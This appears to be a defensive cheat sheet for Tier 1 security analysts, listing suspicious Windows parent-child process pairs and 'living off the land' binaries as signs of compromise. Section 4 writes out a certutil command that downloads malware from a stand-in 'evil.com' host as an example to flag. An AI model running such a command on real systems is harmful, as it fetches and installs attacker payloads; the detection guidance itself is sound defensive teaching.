## Suspicious Parent-Child Relationships (The Cheat Sheet)

Memorize these. These are the "Bread and Butter" of Tier 1 Analysis. If you see these, you escalate the ticket.

### 1. The "Office" Spawners (Macro Malware)
Attack Vector: Phishing emails with malicious attachments.
*   **Parent**: `winword.exe`, `excel.exe`, `powerpnt.exe`, `outlook.exe`
*   **Suspicious Children**:
    *   `cmd.exe` (Command Prompt)
    *   `powershell.exe`
    *   `wscript.exe` / `cscript.exe` (Script engines)
    *   `mshta.exe` (HTML Apps)
    *   `rundll32.exe`
*   **Verdict**: 99.9% Malicious. Office apps handles documents, not system administration.

### 2. The "Browser" Spawners (Drive-By Downloads)
Attack Vector: User visits a bad site, or is tricked into running a fake "Update".
*   **Parent**: `chrome.exe`, `firefox.exe`, `msedge.exe`
*   **Suspicious Children**:
    *   `cmd.exe`, `powershell.exe` (Shells)
    *   `whoami.exe`, `net.exe`, `ipconfig.exe` (Reconnaissance tools)
*   **Verdict**: High Risk. Browsers should isolate web content. Spawning a shell means the sandbox was broken or the user was tricked.

### 3. The "Java/Adobe" Spawners (Exploits)
Attack Vector: Exploiting vulnerabilities in old PDF readers or Java runtimes.
*   **Parent**: `acrord32.exe` (Adobe), `java.exe`, `javaw.exe`
*   **Suspicious Children**:
    *   `powershell.exe`
    *   `cmd.exe`
*   **Verdict**: Malicious.

### 4. The "LOLBins" (Living Off The Land)
Attackers use built-in Windows tools to hide.
*   **CertUtil.exe**: Meant for certificates. Used by attackers to download files (like `wget`).
    *   *Suspicious*: `certutil -urlcache -split -f http://evil.com/malware.exe`
*   **Rundll32.exe**: Meant to run DLLs.
    *   *Suspicious*: Loading a DLL from a Temp folder or User Profile.

### 5. Service Exploitation (Web Servers)
Attack Vector: Webshells / SQL Injection.
*   **Parent**: `w3wp.exe` (IIS Web Server), `httpd.exe` (Apache), `tomcat.exe`, `sqlservr.exe`
*   **Suspicious Children**:
    *   `cmd.exe`
    *   `whoami.exe`
    *   `ping.exe`
*   **Logic**: Your Web Server code (PHP/.NET) executes on the server. If that code spawns a command shell, it means the attacker has injected a command via the website (**Remote Code Execution - RCE**).
*   **Verdict**: Critical. Server is fully compromised.